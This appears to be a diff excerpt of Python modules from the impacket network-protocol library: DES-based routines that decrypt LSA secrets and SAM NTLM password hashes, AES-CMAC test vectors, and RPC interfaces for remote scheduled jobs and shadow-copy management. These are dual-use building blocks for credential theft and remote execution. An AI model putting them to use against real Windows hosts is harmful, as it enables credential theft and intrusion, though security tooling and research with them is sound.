||||
structure = (
|
||||
('Length','<L=0'),
|
||||
('Version','<L=0'),
|
||||
('_Secret','_-Secret', 'self["Length"]'),
|
||||
('Secret', ':'),
|
||||
)
|
||||
|
||||
def transformKey(InputKey):
|
||||
# Section 5.1.3
|
||||
OutputKey = []
|
||||
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
|
||||
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
|
||||
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
|
||||
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
|
||||
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
|
||||
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
|
||||
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
|
||||
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
|
||||
|
||||
for i in range(8):
|
||||
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
|
||||
|
||||
return "".join(OutputKey)
|
||||
|
||||
def decryptSecret(key, value):
|
||||
# [MS-LSAD] Section 5.1.2
|
||||
plainText = ''
|
||||
key0 = key
|
||||
for i in range(0, len(value), 8):
|
||||
cipherText = value[:8]
|
||||
tmpStrKey = key0[:7]
|
||||
tmpKey = transformKey(tmpStrKey)
|
||||
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
|
||||
plainText += Crypt1.decrypt(cipherText)
|
||||
cipherText = cipherText[8:]
|
||||
key0 = key0[7:]
|
||||
value = value[8:]
|
||||
# AdvanceKey
|
||||
if len(key0) < 7:
|
||||
key0 = key[len(key0):]
|
||||
|
||||
secret = LSA_SECRET_XP(plainText)
|
||||
return (secret['Secret'])
|
||||
|
||||
def encryptSecret(key, value):
|
||||
# [MS-LSAD] Section 5.1.2
|
||||
plainText = ''
|
||||
cipherText = ''
|
||||
key0 = key
|
||||
value0 = pack('<LL', len(value), 1) + value
|
||||
for i in range(0, len(value0), 8):
|
||||
if len(value0) < 8:
|
||||
value0 = value0 + '\x00'*(8-len(value0))
|
||||
plainText = value0[:8]
|
||||
tmpStrKey = key0[:7]
|
||||
tmpKey = transformKey(tmpStrKey)
|
||||
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
|
||||
cipherText += Crypt1.encrypt(plainText)
|
||||
plainText = plainText[8:]
|
||||
key0 = key0[7:]
|
||||
value0 = value0[8:]
|
||||
# AdvanceKey
|
||||
if len(key0) < 7:
|
||||
key0 = key[len(key0):]
|
||||
|
||||
return cipherText
|
||||
|
||||
def SamDecryptNTLMHash(encryptedHash, key):
|
||||
# [MS-SAMR] Section 2.2.11.1.1
|
||||
Block1 = encryptedHash[:8]
|
||||
Block2 = encryptedHash[8:]
|
||||
|
||||
Key1 = key[:7]
|
||||
Key1 = transformKey(Key1)
|
||||
Key2 = key[7:14]
|
||||
Key2 = transformKey(Key2)
|
||||
|
||||
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
||||
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
||||
|
||||
plain1 = Crypt1.decrypt(Block1)
|
||||
plain2 = Crypt2.decrypt(Block2)
|
||||
|
||||
return plain1 + plain2
|
||||
|
||||
def SamEncryptNTLMHash(encryptedHash, key):
|
||||
# [MS-SAMR] Section 2.2.11.1.1
|
||||
Block1 = encryptedHash[:8]
|
||||
Block2 = encryptedHash[8:]
|
||||
|
||||
Key1 = key[:7]
|
||||
Key1 = transformKey(Key1)
|
||||
Key2 = key[7:14]
|
||||
Key2 = transformKey(Key2)
|
||||
|
||||
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
||||
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
||||
|
||||
plain1 = Crypt1.encrypt(Block1)
|
||||
plain2 = Crypt2.encrypt(Block2)
|
||||
|
||||
return plain1 + plain2
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
# Test Vectors
|
||||
# --------------------------------------------------
|
||||
# Subkey Generation
|
||||
# K 2b7e1516 28aed2a6 abf71588 09cf4f3c
|
||||
# AES-128(key,0) 7df76b0c 1ab899b3 3e42f047 b91b546f
|
||||
# K1 fbeed618 35713366 7c85e08f 7236a8de
|
||||
# K2 f7ddac30 6ae266cc f90bc11e e46d513b
|
||||
# --------------------------------------------------
|
||||
#
|
||||
# --------------------------------------------------
|
||||
# Example 1: len = 0
|
||||
# M <empty string>
|
||||
# AES-CMAC bb1d6929 e9593728 7fa37d12 9b756746
|
||||
# --------------------------------------------------
|
||||
#
|
||||
# Example 2: len = 16
|
||||
# M 6bc1bee2 2e409f96 e93d7e11 7393172a
|
||||
# AES-CMAC 070a16b4 6b4d4144 f79bdd9d d04a287c
|
||||
# --------------------------------------------------
|
||||
#
|
||||
# Example 3: len = 40
|
||||
# M 6bc1bee2 2e409f96 e93d7e11 7393172a
|
||||
# ae2d8a57 1e03ac9c 9eb76fac 45af8e51
|
||||
# 30c81c46 a35ce411
|
||||
# AES-CMAC dfa66747 de9ae630 30ca3261 1497c827
|
||||
# --------------------------------------------------
|
||||
#
|
||||
# Example 4: len = 64
|
||||
# M 6bc1bee2 2e409f96 e93d7e11 7393172a
|
||||
# ae2d8a57 1e03ac9c 9eb76fac 45af8e51
|
||||
# 30c81c46 a35ce411 e5fbc119 1a0a52ef
|
||||
# f69f2445 df4f9b17 ad2b417b e66c3710
|
||||
# AES-CMAC 51f0bebf 7e3b9d92 fc497417 79363cfe
|
||||
# --------------------------------------------------
|
||||
def pp(s):
|
||||
for i in range((len(s)/8)):
|
||||
print s[:8] ,
|
||||
s = s[8:]
|
||||
|
||||
return ''
|
||||
|
||||
from binascii import hexlify, unhexlify
|
||||
|
||||
K = "2b7e151628aed2a6abf7158809cf4f3c"
|
||||
M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710"
|
||||
|
||||
K1, K2 = Generate_Subkey(unhexlify(K))
|
||||
print "Subkey Generation"
|
||||
print "K ", pp(K)
|
||||
print "K1 ", pp(hexlify(K1))
|
||||
print "K2 ", pp(hexlify(K2))
|
||||
print
|
||||
print "Example 1: len = 0"
|
||||
print "M <empty string>"
|
||||
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),0)))
|
||||
print
|
||||
print "Example 2: len = 16"
|
||||
print "M " , pp(M[:16*2])
|
||||
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),16)))
|
||||
print
|
||||
print "Example 3: len = 40"
|
||||
print "M " , pp(M[:40*2])
|
||||
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),40)))
|
||||
print
|
||||
print "Example 3: len = 64"
|
||||
print "M " , pp(M[:64*2])
|
||||
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),64)))
|
||||
print
|
||||
M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b"
|
||||
K = "6c3473624099e17ff3a39ff6bdf6cc38"
|
||||
# Mac = dbf63fd93c4296609e2d66bf79251cb5
|
||||
print "Example 4: len = 45"
|
||||
print "M " , pp(M[:45*2])
|
||||
print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),45)))
|
||||
|
||||
# ------------------------------------------------------------
|
||||
#
|
||||
# Test Case AES-CMAC-PRF-128 with 20-octet input
|
||||
# Key : 00010203 04050607 08090a0b 0c0d0e0f edcb
|
||||
# Key Length : 18
|
||||
# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213
|
||||
# PRF Output : 84a348a4 a45d235b abfffc0d 2b4da09a
|
||||
#
|
||||
# Test Case AES-CMAC-PRF-128 with 20-octet input
|
||||
# Key : 00010203 04050607 08090a0b 0c0d0e0f
|
||||
# Key Length : 16
|
||||
# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213
|
||||
# PRF Output : 980ae87b 5f4c9c52 14f5b6a8 455e4c2d
|
||||
#
|
||||
# Test Case AES-CMAC-PRF-128 with 20-octet input
|
||||
# Key : 00010203 04050607 0809
|
||||
# Key Length : 10
|
||||
# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213
|
||||
# PRF Output : 290d9e11 2edb09ee 141fcf64 c0b72f3d
|
||||
#
|
||||
# ------------------------------------------------------------
|
||||
|
||||
K = "000102030405060708090a0b0c0d0e0fedcb"
|
||||
M = "000102030405060708090a0b0c0d0e0f10111213"
|
||||
|
||||
print "AES-CMAC-PRF-128 Test Vectors"
|
||||
print
|
||||
print "Example 1: len = 0"
|
||||
print "M " , pp(K)
|
||||
print "Key Length 18 "
|
||||
print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K),unhexlify(M),18,len(unhexlify(M)))))
|
||||
print
|
||||
print "Example 1: len = 0"
|
||||
print "M " , pp(K)
|
||||
print "Key Length 16 "
|
||||
print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K)[:16],unhexlify(M),16,len(unhexlify(M)))))
|
||||
print
|
||||
print "Example 1: len = 0"
|
||||
print "M " , pp(K)
|
||||
print "Key Length 10 "
|
||||
print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K)[:10],unhexlify(M),10,len(unhexlify(M)))))
|
||||
print
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pass
|
||||
@@ -0,0 +1 @@
|
||||
pass
|
||||
@@ -0,0 +1,211 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# [MS-TSCH] ATSVC Interface implementation
|
||||
#
|
||||
# Best way to learn how to use these calls is to grab the protocol standard
|
||||
# so you understand what the call does, and then read the test case located
|
||||
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
|
||||
#
|
||||
# Some calls have helper functions, which makes it even easier to use.
|
||||
# They are located at the end of this file.
|
||||
# Helper functions start with "h"<name of the call>.
|
||||
# There are test cases for them too.
|
||||
#
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
|
||||
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL
|
||||
from impacket import hresult_errors
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0'))
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
key = self.error_code
|
||||
if hresult_errors.ERROR_MESSAGES.has_key(key):
|
||||
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
|
||||
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
################################################################################
|
||||
# CONSTANTS
|
||||
################################################################################
|
||||
ATSVC_HANDLE = LPWSTR
|
||||
# 2.3.1 Constant Values
|
||||
CNLEN = 15
|
||||
DNLEN = CNLEN
|
||||
UNLEN = 256
|
||||
MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)
|
||||
|
||||
# 2.3.7 Flags
|
||||
TASK_FLAG_INTERACTIVE = 0x1
|
||||
TASK_FLAG_DELETE_WHEN_DONE = 0x2
|
||||
TASK_FLAG_DISABLED = 0x4
|
||||
TASK_FLAG_START_ONLY_IF_IDLE = 0x10
|
||||
TASK_FLAG_KILL_ON_IDLE_END = 0x20
|
||||
TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40
|
||||
TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80
|
||||
TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100
|
||||
TASK_FLAG_HIDDEN = 0x200
|
||||
TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400
|
||||
TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800
|
||||
TASK_FLAG_SYSTEM_REQUIRED = 0x1000
|
||||
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
# 2.3.4 AT_INFO
|
||||
class AT_INFO(NDRSTRUCT):
|
||||
structure = (
|
||||
('JobTime',DWORD),
|
||||
('DaysOfMonth',DWORD),
|
||||
('DaysOfWeek',UCHAR),
|
||||
('Flags',UCHAR),
|
||||
('Command',LPWSTR),
|
||||
)
|
||||
|
||||
class LPAT_INFO(NDRPOINTER):
|
||||
referent = (
|
||||
('Data',AT_INFO),
|
||||
)
|
||||
|
||||
# 2.3.6 AT_ENUM
|
||||
class AT_ENUM(NDRSTRUCT):
|
||||
structure = (
|
||||
('JobId',DWORD),
|
||||
('JobTime',DWORD),
|
||||
('DaysOfMonth',DWORD),
|
||||
('DaysOfWeek',UCHAR),
|
||||
('Flags',UCHAR),
|
||||
('Command',LPWSTR),
|
||||
)
|
||||
|
||||
class AT_ENUM_ARRAY(NDRUniConformantArray):
|
||||
item = AT_ENUM
|
||||
|
||||
class LPAT_ENUM_ARRAY(NDRPOINTER):
|
||||
referent = (
|
||||
('Data',AT_ENUM_ARRAY),
|
||||
)
|
||||
|
||||
# 2.3.5 AT_ENUM_CONTAINER
|
||||
class AT_ENUM_CONTAINER(NDRSTRUCT):
|
||||
structure = (
|
||||
('EntriesRead',DWORD),
|
||||
('Buffer',LPAT_ENUM_ARRAY),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
# 3.2.5.2.1 NetrJobAdd (Opnum 0)
|
||||
class NetrJobAdd(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
('ServerName',ATSVC_HANDLE),
|
||||
('pAtInfo', AT_INFO),
|
||||
)
|
||||
|
||||
class NetrJobAddResponse(NDRCALL):
|
||||
structure = (
|
||||
('pJobId',DWORD),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.2.2 NetrJobDel (Opnum 1)
|
||||
class NetrJobDel(NDRCALL):
|
||||
opnum = 1
|
||||
structure = (
|
||||
('ServerName',ATSVC_HANDLE),
|
||||
('MinJobId', DWORD),
|
||||
('MaxJobId', DWORD),
|
||||
)
|
||||
|
||||
class NetrJobDelResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.2.3 NetrJobEnum (Opnum 2)
|
||||
class NetrJobEnum(NDRCALL):
|
||||
opnum = 2
|
||||
structure = (
|
||||
('ServerName',ATSVC_HANDLE),
|
||||
('pEnumContainer', AT_ENUM_CONTAINER),
|
||||
('PreferedMaximumLength', DWORD),
|
||||
('pResumeHandle', DWORD),
|
||||
)
|
||||
|
||||
class NetrJobEnumResponse(NDRCALL):
|
||||
structure = (
|
||||
('pEnumContainer', AT_ENUM_CONTAINER),
|
||||
('pTotalEntries', DWORD),
|
||||
('pResumeHandle',LPDWORD),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.2.4 NetrJobGetInfo (Opnum 3)
|
||||
class NetrJobGetInfo(NDRCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
('ServerName',ATSVC_HANDLE),
|
||||
('JobId', DWORD),
|
||||
)
|
||||
|
||||
class NetrJobGetInfoResponse(NDRCALL):
|
||||
structure = (
|
||||
('ppAtInfo', LPAT_INFO),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
0 : (NetrJobAdd,NetrJobAddResponse ),
|
||||
1 : (NetrJobDel,NetrJobDelResponse ),
|
||||
2 : (NetrJobEnum,NetrJobEnumResponse ),
|
||||
3 : (NetrJobGetInfo,NetrJobGetInfoResponse ),
|
||||
}
|
||||
|
||||
################################################################################
|
||||
# HELPER FUNCTIONS
|
||||
################################################################################
|
||||
def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL):
|
||||
netrJobAdd = NetrJobAdd()
|
||||
netrJobAdd['ServerName'] = serverName
|
||||
netrJobAdd['pAtInfo'] = atInfo
|
||||
return dce.request(netrJobAdd)
|
||||
|
||||
def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0):
|
||||
netrJobDel = NetrJobDel()
|
||||
netrJobDel['ServerName'] = serverName
|
||||
netrJobDel['MinJobId'] = minJobId
|
||||
netrJobDel['MaxJobId'] = maxJobId
|
||||
return dce.request(netrJobDel)
|
||||
|
||||
def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff):
|
||||
netrJobEnum = NetrJobEnum()
|
||||
netrJobEnum['ServerName'] = serverName
|
||||
netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer
|
||||
netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength
|
||||
return dce.request(netrJobEnum)
|
||||
|
||||
def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0):
|
||||
netrJobGetInfo = NetrJobGetInfo()
|
||||
netrJobGetInfo['ServerName'] = serverName
|
||||
netrJobGetInfo['JobId'] = jobId
|
||||
return dce.request(netrJobGetInfo)
|
||||
@@ -0,0 +1 @@
|
||||
pass
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,339 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# [MS-SCMP]: Shadow Copy Management Protocol Interface implementation
|
||||
# This was used as a way to test the DCOM runtime. Further
|
||||
# testing is needed to verify it is working as expected
|
||||
#
|
||||
# Best way to learn how to use these calls is to grab the protocol standard
|
||||
# so you understand what the call does, and then read the test case located
|
||||
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
|
||||
#
|
||||
# Since DCOM is like an OO RPC, instead of helper functions you will see the
|
||||
# classes described in the standards developed.
|
||||
# There are test cases for them too.
|
||||
#
|
||||
from impacket.dcerpc.v5.ndr import NDRENUM, NDRSTRUCT, NDRUNION
|
||||
from impacket.dcerpc.v5.dcomrt import PMInterfacePointer, INTERFACE, DCOMCALL, DCOMANSWER, IRemUnknown2
|
||||
from impacket.dcerpc.v5.dtypes import LONG, LONGLONG, ULONG, WSTR
|
||||
from impacket.dcerpc.v5.enum import Enum
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket import hresult_errors
|
||||
from impacket.uuid import string_to_bin
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
if hresult_errors.ERROR_MESSAGES.has_key(self.error_code):
|
||||
error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
|
||||
error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]
|
||||
return 'SCMP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'SCMP SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
################################################################################
|
||||
# CONSTANTS
|
||||
################################################################################
|
||||
# 1.9 Standards Assignments
|
||||
CLSID_ShadowCopyProvider = string_to_bin('0b5a2c52-3eb9-470a-96e2-6c6d4570e40f')
|
||||
IID_IVssSnapshotMgmt = string_to_bin('FA7DF749-66E7-4986-A27F-E2F04AE53772')
|
||||
IID_IVssEnumObject = string_to_bin('AE1C7110-2F60-11d3-8A39-00C04F72D8E3')
|
||||
IID_IVssDifferentialSoftwareSnapshotMgmt = string_to_bin('214A0F28-B737-4026-B847-4F9E37D79529')
|
||||
IID_IVssEnumMgmtObject = string_to_bin('01954E6B-9254-4e6e-808C-C9E05D007696')
|
||||
IID_ShadowCopyProvider = string_to_bin('B5946137-7B9F-4925-AF80-51ABD60B20D5')
|
||||
|
||||
# 2.2.1.1 VSS_ID
|
||||
class VSS_ID(NDRSTRUCT):
|
||||
structure = (
|
||||
('Data','16s=""'),
|
||||
)
|
||||
|
||||
def getAlignment(self):
|
||||
return 2
|
||||
|
||||
#2.2.1.2 VSS_PWSZ
|
||||
VSS_PWSZ = WSTR
|
||||
|
||||
# 2.2.1.3 VSS_TIMESTAMP
|
||||
VSS_TIMESTAMP = LONGLONG
|
||||
|
||||
error_status_t = LONG
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
# 2.2.2.1 VSS_OBJECT_TYPE Enumeration
|
||||
class VSS_OBJECT_TYPE(NDRENUM):
|
||||
class enumItems(Enum):
|
||||
VSS_OBJECT_UNKNOWN = 0
|
||||
VSS_OBJECT_NONE = 1
|
||||
VSS_OBJECT_SNAPSHOT_SET = 2
|
||||
VSS_OBJECT_SNAPSHOT = 3
|
||||
VSS_OBJECT_PROVIDER = 4
|
||||
VSS_OBJECT_TYPE_COUNT = 5
|
||||
|
||||
# 2.2.2.2 VSS_MGMT_OBJECT_TYPE Enumeration
|
||||
class VSS_MGMT_OBJECT_TYPE(NDRENUM):
|
||||
class enumItems(Enum):
|
||||
VSS_MGMT_OBJECT_UNKNOWN = 0
|
||||
VSS_MGMT_OBJECT_VOLUME = 1
|
||||
VSS_MGMT_OBJECT_DIFF_VOLUME = 2
|
||||
VSS_MGMT_OBJECT_DIFF_AREA = 3
|
||||
|
||||
# 2.2.2.3 VSS_VOLUME_SNAPSHOT_ATTRIBUTES Enumeration
|
||||
class VSS_VOLUME_SNAPSHOT_ATTRIBUTES(NDRENUM):
|
||||
class enumItems(Enum):
|
||||
VSS_VOLSNAP_ATTR_PERSISTENT = 0x01
|
||||
VSS_VOLSNAP_ATTR_NO_AUTORECOVERY = 0x02
|
||||
VSS_VOLSNAP_ATTR_CLIENT_ACCESSIBLE = 0x04
|
||||
VSS_VOLSNAP_ATTR_NO_AUTO_RELEASE = 0x08
|
||||
VSS_VOLSNAP_ATTR_NO_WRITERS = 0x10
|
||||
|
||||
# 2.2.2.4 VSS_SNAPSHOT_STATE Enumeration
|
||||
class VSS_SNAPSHOT_STATE(NDRENUM):
|
||||
class enumItems(Enum):
|
||||
VSS_SS_UNKNOWN = 0x01
|
||||
VSS_SS_CREATED = 0x0c
|
||||
|
||||
# 2.2.2.5 VSS_PROVIDER_TYPE Enumeration
|
||||
class VSS_PROVIDER_TYPE(NDRENUM):
|
||||
class enumItems(Enum):
|
||||
VSS_PROV_UNKNOWN = 0
|
||||
|
||||
# 2.2.3.7 VSS_VOLUME_PROP Structure
|
||||
class VSS_VOLUME_PROP(NDRSTRUCT):
|
||||
structure = (
|
||||
('m_pwszVolumeName', VSS_PWSZ),
|
||||
('m_pwszVolumeDisplayName', VSS_PWSZ),
|
||||
)
|
||||
|
||||
# 2.2.3.5 VSS_MGMT_OBJECT_UNION Union
|
||||
class VSS_MGMT_OBJECT_UNION(NDRUNION):
|
||||
commonHdr = (
|
||||
('tag', ULONG),
|
||||
)
|
||||
union = {
|
||||
VSS_MGMT_OBJECT_TYPE.VSS_MGMT_OBJECT_VOLUME: ('Vol', VSS_VOLUME_PROP),
|
||||
#VSS_MGMT_OBJECT_DIFF_VOLUME: ('DiffVol', VSS_DIFF_VOLUME_PROP),
|
||||
#VSS_MGMT_OBJECT_DIFF_AREA: ('DiffArea', VSS_DIFF_AREA_PROP),
|
||||
}
|
||||
|
||||
# 2.2.3.6 VSS_MGMT_OBJECT_PROP Structure
|
||||
class VSS_MGMT_OBJECT_PROP(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', VSS_MGMT_OBJECT_TYPE),
|
||||
('Obj', VSS_MGMT_OBJECT_UNION),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
# 3.1.3 IVssEnumMgmtObject Details
|
||||
|
||||
# 3.1.3.1 Next (Opnum 3)
|
||||
class IVssEnumMgmtObject_Next(DCOMCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
('celt', ULONG),
|
||||
)
|
||||
|
||||
class IVssEnumMgmtObject_NextResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('rgelt', VSS_MGMT_OBJECT_PROP),
|
||||
('pceltFetched', ULONG),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
# 3.1.2.1 Next (Opnum 3)
|
||||
class IVssEnumObject_Next(DCOMCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
('celt', ULONG),
|
||||
)
|
||||
|
||||
class IVssEnumObject_NextResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('rgelt', VSS_MGMT_OBJECT_PROP),
|
||||
('pceltFetched', ULONG),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
class GetProviderMgmtInterface(DCOMCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
('ProviderId', VSS_ID),
|
||||
('InterfaceId', VSS_ID),
|
||||
)
|
||||
|
||||
class GetProviderMgmtInterfaceResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('ppItf', PMInterfacePointer),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
class QueryVolumesSupportedForSnapshots(DCOMCALL):
|
||||
opnum = 4
|
||||
structure = (
|
||||
('ProviderId', VSS_ID),
|
||||
('IContext', LONG),
|
||||
)
|
||||
|
||||
class QueryVolumesSupportedForSnapshotsResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('ppEnum', PMInterfacePointer),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
class QuerySnapshotsByVolume(DCOMCALL):
|
||||
opnum = 5
|
||||
structure = (
|
||||
('pwszVolumeName', VSS_PWSZ),
|
||||
('ProviderId', VSS_ID),
|
||||
)
|
||||
|
||||
class QuerySnapshotsByVolumeResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('ppEnum', PMInterfacePointer),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
# 3.1.4.4.5 QueryDiffAreasForVolume (Opnum 6)
|
||||
class QueryDiffAreasForVolume(DCOMCALL):
|
||||
opnum = 6
|
||||
structure = (
|
||||
('pwszVolumeName', VSS_PWSZ),
|
||||
)
|
||||
|
||||
class QueryDiffAreasForVolumeResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('ppEnum', PMInterfacePointer),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
# 3.1.4.4.6 QueryDiffAreasOnVolume (Opnum 7)
|
||||
class QueryDiffAreasOnVolume(DCOMCALL):
|
||||
opnum = 7
|
||||
structure = (
|
||||
('pwszVolumeName', VSS_PWSZ),
|
||||
)
|
||||
|
||||
class QueryDiffAreasOnVolumeResponse(DCOMANSWER):
|
||||
structure = (
|
||||
('ppEnum', PMInterfacePointer),
|
||||
('ErrorCode', error_status_t),
|
||||
)
|
||||
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
}
|
||||
|
||||
################################################################################
|
||||
# HELPER FUNCTIONS AND INTERFACES
|
||||
################################################################################
|
||||
class IVssEnumMgmtObject(IRemUnknown2):
|
||||
def __init__(self, interface):
|
||||
IRemUnknown2.__init__(self, interface)
|
||||
self._iid = IID_IVssEnumMgmtObject
|
||||
|
||||
def Next(self, celt):
|
||||
request = IVssEnumMgmtObject_Next()
|
||||
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
|
||||
request['ORPCthis']['flags'] = 0
|
||||
request['celt'] = celt
|
||||
resp = self.request(request, self._iid, uuid = self.get_iPid())
|
||||
return resp
|
||||
|
||||
class IVssEnumObject(IRemUnknown2):
|
||||
def __init__(self, interface):
|
||||
IRemUnknown2.__init__(self, interface)
|
||||
self._iid = IID_IVssEnumObject
|
||||
|
||||
def Next(self, celt):
|
||||
request = IVssEnumObject_Next()
|
||||
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
|
||||
request['ORPCthis']['flags'] = 0
|
||||
request['celt'] = celt
|
||||
dce = self.connect()
|
||||
resp = dce.request(request, self._iid, uuid = self.get_iPid())
|
||||
return resp
|
||||
|
||||
class IVssSnapshotMgmt(IRemUnknown2):
|
||||
def __init__(self, interface):
|
||||
IRemUnknown2.__init__(self, interface)
|
||||
self._iid = IID_IVssSnapshotMgmt
|
||||
|
||||
def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt):
|
||||
